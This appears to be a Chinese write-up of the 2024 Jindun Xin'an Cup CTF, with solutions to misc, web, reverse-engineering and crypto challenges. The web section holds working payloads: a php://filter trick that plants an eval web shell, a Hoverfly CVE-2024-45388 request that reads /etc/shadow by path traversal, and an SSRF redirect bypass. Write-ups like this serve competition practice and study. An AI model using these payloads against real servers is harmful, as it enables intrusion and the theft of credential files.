2024-金盾信安杯线上赛 WP

Misc

大赛宗旨

记事本打开,一眼零宽隐写

B 神工具一把梭,得到一串 base 编码

base64 解码得到 flag

flag 值:flag{5d5555fa-1303-4b43-8eef-d6ea7c64c361}

esab

根据题目 esab 可以发现这正是 base 的逆向,所以可以先逆向一下给出的字符串

然后解 base,和今年御网杯那道题类似,使用特定的网站解 base62

得到一串 base64 编码的文本,使用工具 basecrack 尝试一把梭

解了一个 base64 和一个 base91,得到的文本又像是 base62,再次 base62 解码,得到 flag

flag 值:flag{634285be-e7f0-9f0a-fb90-8da3a27fce06}

ezpng

将 password.txt 的内容放入 cyberchef 解密,得到一个密码 cimbar

flag.png 放入 010 查看,发现文件头尾都不对,尝试发现是异或得到的字符串 cimbar

使用 cyberchef 把图片异或回去,得到一张正常的 png 文件

网上找到一个项目,提取出 cimbar 图片里隐藏的文本,项目地址如下

复制代码
https://github.com/sz3/cimbar

下载下来,将图片放到同一目录,使用如下命令,即可得到 flag

复制代码
python -m cimbar.cimbar 111.png -o myoutputfile.txt

flag 值:flag{c06ff653-d96e-4c59-9667-655a8a18862e}

so far so good

谷歌搜索,发现是国外某比赛的原题,赛名 OliCyber.IT 2024,wp 如下:

复制代码
https://github.com/OliCyberIT/OliCyber.IT-Writeups/blob/master/2024-nazionale/misc03.md

利用 wp 上给出的脚本,有些地方不适配,稍微修改下脚本,运行得到 flag,脚本如下:

复制代码
import pyshark
from collections import defaultdict
from Crypto.Cipher import ChaCha20
import sys

KEYSET = 0x74
NONCESET = 0x11
STORE = 0xC1
RESET = 0xB8
ACK = 0x14
ERROR = 0xFF

streams = defaultdict(lambda: b"")
cap = pyshark.FileCapture(f"dump.pcapng")

for p in cap:
    try:
        i = int(p.tcp.stream)
        streams[i] += bytes.fromhex(p.data.data)
    except:
        pass
cap.close()

stream = streams[0]

kidxs = [i for i, x in enumerate(stream) if x == KEYSET]
nidxs = [i for i, x in enumerate(stream) if x == NONCESET]
print(f'{kidxs = }')
print(f'{nidxs = }')


def read():
    global stream
    s = stream[0]
    stream = stream[1:]
    return s


class Message():
    def __init__(self) -> None:
        self.code = None
        self.param = None
        self.len = None
        self.data = None

    def read(self):
        self.code = read()
        self.param = read()
        self.len = read()
        self.data = []
        for i in range(self.len):
            self.data.append(read())

    def handle(self):
        global KEY, IV, cipher, keyset, nonceset, cipherset
        if self.code == KEYSET:
            for i in range(32):
                KEY[i] = self.data[i]
            keyset = True
            cipherset = False
        elif self.code == NONCESET:
            for i in range(8):
                IV[i] = self.data[i]
            nonceset = True
            cipherset = False
        elif self.code == STORE:
            if not keyset or not nonceset:
                return
            if not cipherset:
                cipherset = True
                cipher = ChaCha20.new(key=bytes(KEY), nonce=bytes(IV))
            dec = cipher.decrypt(bytes(self.data))
            for i in range(self.len):
                FLAG[10 * self.param + i] = dec[i]
            if -1 not in FLAG:
                print(bytes(FLAG))
                return True
        elif self.code == RESET:
            KEY = [0] * 32
            IV = [0] * 8
            keyset = False
            nonceset = False
            cipherset = False


_stream = stream[:]
for ki in kidxs:
    for ni in nidxs:
        if ki > ni:
            continue

        print('key index:', ki, '\tnonce index:', ni)

        KEY = [-1] * 32
        IV = [-1] * 8
        FLAG = [-1] * 40
        keyset = False
        nonceset = False
        cipherset = False
        cipher = None

        try:
            stream = stream[ki:]
            m = Message()
            m.read()
            m.handle()

            stream = stream[ni - ki - 35:]
            m = Message()
            m.read()
            m.handle()

            while len(stream) > 0:
                ni = stream.index(NONCESET) if NONCESET in stream else 99999
                si = stream.index(STORE) if STORE in stream else 99999
                next_idx = min([ni, si])
                stream = stream[next_idx:]
                m = Message()
                m.read()
                if m.handle():
                    break
        except:
            print('Exception')
            pass
        stream = _stream[:]

运行结果如图所示,得到 flag

flag 值:flag{0h_usb_0v3r_1p_i5_s0_c00l_567c08e6}

Web

fillllll_put

源码如下:

复制代码
<?php
  highlight_file(__FILE__);
$filename=$_GET['filename'];
if(isset($filename)){
  $content=$_GET['content'];
  file_put_contents($filename,'<?php exit();'.$content);

} 

经典的伪协议绕过死亡 exit(),网上有很多参考文章

payload 如下:

复制代码
?filename=php://filter/convert.base64-decode/resource=shell.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

访问 shell.php,成功解析

使用蚁剑连接一句话木马,连接成功

根目录没有,在根目录下的/tmp 目录翻到 flag.txt

flag 值:flag{89166828-7120-42be-966c-820fc46d74a6}

hoverfly

打开是一个 Hoverfly 的界面

网上找到一个 CVE,Hoverfly 任意文件读取漏洞(CVE-2024-45388),复现文章如下:

复制代码
https://blog.csdn.net/qq_38154820/article/details/142891049

burp 抓包,修改数据包如下:

复制代码
PUT /api/v2/simulation HTTP/1.1
Host: 114.55.67.167:50463
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded

{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/shadow"}} ]},"meta":{"schemaVersion":"v5.2"}}

成功读取 /etc/passwd,可以读取任意文件

翻遍了没找到哪里有 flag,var/log/syslog 记录了系统级别的日志信息,包括系统启动、服务启动和停止、内核消息、硬件错误、软件错误等,在日志里得到提示 see see /tmp/fa1g

访问 /tmp/fa1g 文件得到 flag

flag 值:flag{57a4de14-9151-4554-b36a-b12dfc79c2d3}

ssrf

进入页面,提示查询网站,根据题目名字 ssrf 知道肯定是读内网文件

先扫一下有什么文件,发现 flag.php

直接读取 127.0.0.1 下的 flag.php,提示无效的 url

可以使用域名重定向绕过,找到如下域名,测试可以绕过

复制代码
http://wifi.aliyun.com/flag.php

成功读取到 flag

flag 值:flag{980a8f2f-00c6-4e60-8468-9b44a948df44}

Reverse

babyre

首先通过 sub_401050 提示输入flag,并通过 sub_4010C0 读取最多32字节的输入到 v23。

输入被分为两部分:前16字节存储到 v26。后16字节存储到 v24。

前16字节解码:

使用硬编码目标值 v6 的前四组数据作为目标(共4个整数)。

对解密后的数据还原高低位交换(调用 sub_401130 的逆向逻辑)。

TEA加密逆向:根据代码分析 sub_4012B0 是TEA加密的部分,需要实现解密逻辑。

脚本如下:

复制代码
#include <stdio.h>
#include <stdint.h>

// TEA解密函数
void decrypt(uint32_t* v, uint32_t* key) {
uint32_t delta = 0x61C88647; // Delta常量
uint32_t sum = 0 - 32 * delta; // 初始化sum
uint32_t v0 = v[0], v1 = v[1];

for (int i = 0; i < 32; i++) {
  v1 -= ((v0 >> 5) + key[3]) ^ (v0 + sum) ^ ((v0 << 4) + key[2]);
  v0 -= ((v1 >> 5) + key[1]) ^ (v1 + sum) ^ ((v1 << 4) + key[0]);
  sum += delta;
  }

  v[0] = v0;
  v[1] = v1;
  }

  int main() {
  // 密钥
  uint32_t key[4] = {
  0x00001266, 0x00003404, 0x0000562A, 0x000078C2
  };

  // 密文
  uint32_t enc[4] = {
  0x369A1583, 0x009A9E6D, 0xBE761C60, 0x3ED644A0
  };

  // 对密文分块解密
  decrypt(enc, key);     // 解密前两部分
  decrypt(enc + 2, key); // 解密后两部分

  // 输出解密后的结果(大端序)
  printf("Flag: ");
  for (int i = 0; i < 4; i++) { // 遍历解密后的4个32位整数
    for (int j = 3; j >= 0; j--) { // 大端序输出每个字节(高位字节在前)
      printf("%c", (enc[i] >> (8 * j)) & 0xFF);
      }
      }
      printf("\n");

      return 0;
      }

后16字节解码:

从目标值 v6 的后四组数据中提取目标(共4个整数)。

高低位交换逆向:调用 sub_401130 的逆向逻辑。

凯撒密码逆向:对替换的字符使用偏移量为 -3 的逆操作。

解密脚本如下:

复制代码
def reverse_byte_order(data):
    """高低位交换"""
    return [
        ((x >> 24) & 0xFF) | ((x >> 8) & 0xFF00) |
        ((x & 0xFF00) << 8) | ((x & 0xFF) << 24)
        for x in data
    ]

def reverse_caesar_cipher(data, shift=3):
    """逆凯撒密码,shift是偏移量"""
    result = []
    for ch in data:
        if 'A' <= ch <= 'Z':
            result.append(chr((ord(ch) - shift - 65) % 26 + 65))
        elif 'a' <= ch <= 'z':
            result.append(chr((ord(ch) - shift - 97) % 26 + 97))
        else:
            result.append(ch)
    return ''.join(result)

# 硬编码的目标数据
v6 = [
    916067715, 10133101, -1099555744, 1054229664,
    1685154385, 1816750188, 1416384356, 1814110589
]

v19 = v6[4:]
v19 = reverse_byte_order(v19)
cipher2 = ''.join([chr((x >> (8 * i)) & 0xFF) for x in v19 for i in range(4)])
plain2 = reverse_caesar_cipher(cipher2)

print(plain2)

两端 flag 都已经拿到了,直接拼接两段,得到完整 flag

flag 值:flag{ZhuangBiWoRangNiFeiQiLai!!}

Crypto

Ezrsa

复制代码
from Crypto.Util.number import *
from Crypto.Util.Padding import *

def generate_prime(bits=512):
    return getPrime(bits)
def generate_rsa_key(bits=512, e=9):
    while True:
        p, q = generate_prime(bits), generate_prime(bits)
        n = p * q
        if GCD((p-1)*(q-1), e) == 1:
            d = inverse(e, (p-1)*(q-1))
            return n, e, d
def encrypt_message(message, e, n):
    return pow(message, e, n)
def decrypt_message(ciphertext, d, n):
    return pow(ciphertext, d, n)
def main(flag_text=b"flag{*******************}", num_keys=9, bits=512, e=9):
    FLAG = bytes_to_long(pad(flag_text, 64))
    n_list = []
    c_list = []
    for i in range(num_keys):
        n, e, d = generate_rsa_key(bits, e)
        n_list.append(n)
        c = encrypt_message(FLAG, e, n)
        c_list.append(c)
        assert decrypt_message(c, d, n) == FLAG
    print("n_list:", n_list)
    print("c_list:", c_list)

if __name__ == "__main__":
    main()

看到e=9,以及九组密文c和模数n,挨个爆破

Ci=pow(m,e,Ni) i=1,2,3,....,9

对list_n和list_c遍历爆破

脚本如下:

复制代码
import gmpy2
import math
from Crypto.Util.number import long_to_bytes


def merge(a1, n1, a2, n2):
    d = math.gcd(n1, n2)
    c = a2 - a1

    if c % d != 0:
        return 0

    c = (c % n2 + n2) % n2
    c = c // d
    n1 = n1 // d
    n2 = n2 // d
    c *= gmpy2.invert(n1, n2)
    c %= n2
    c *= n1 * d
    c += a1

    global n3
    global a3
    n3 = n1 * n2 * d
    a3 = (c % n3 + n3) % n3

    return 1


def exCRT(a, n):
    a1 = a[0]
    n1 = n[0]
    le = len(a)

    for i in range(1, le):
        a2 = a[i]
        n2 = n[i]

        if not merge(a1, n1, a2, n2):
            return -1

        a1 = a3
        n1 = n3

    global mod
    mod = n1

    return (a1 % n1 + n1) % n1


def exCRT_getequation(a, n):
    a1 = a[0]
    n1 = n[0]
    le = len(a)

    for i in range(1, le):
        a2 = a[i]
        n2 = n[i]

        if not merge(a1, n1, a2, n2):
            return -1

        a1 = a3
        n1 = n3

    return (a1, n1)


# 示例数据
n = [...]  # 请替换为实际的n值
c = [...]  # 请替换为实际的c值

m9 = exCRT(c, n)
m = gmpy2.iroot(m9, 9)[0]
print(long_to_bytes(m))

flag 值:flag{25f028f3-5362-4d1d-ab16-ae65503e447f}

Madoka Runes

搜索题目,发现图形加密方式,魔女文字,对比得到压缩包密码ctf951zhen,从而得到flag

flag 值:flag{f393e6c7-b150-6ecd-0458-c8f38363cb3e}

相关推荐
m0_5474866611 小时前
《信息安全基础》全套PPT课件2026
网络安全·信息安全
m0_7156744313 小时前
数据分类分级的范式转换:从规则匹配到场景化高准确率一键部署
大数据·网络·人工智能·网络安全
白帽攻防录21 小时前
SRC 挖洞:Apache APISIX 非规范路径授权绕过深度复盘,CVE-2026-94269 怎么绕过网关访问后端
网络安全·apache·src漏洞挖掘
学逆向的1 天前
win32注入代码
开发语言·网络安全·api·win32
Web Security Loop1 天前
MAC安装最新Burpsuite pro详细步骤教程
web安全·macos·网络安全·安全性测试
墨云安全2 天前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
刘婉晴2 天前
【APP安全测试】Frida 基础
网络安全
科技象限2 天前
数据防泄密系统怎么选?看它怎么把几道防线叠成网
运维·安全·网络安全·安企神
sbjdhjd2 天前
云安全 | 从特权容器到旧版 runC:Docker 宿主机访问与运行时缺陷复盘
运维·网络安全·docker·云原生·kubernetes·云计算·云安全
sbjdhjd2 天前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全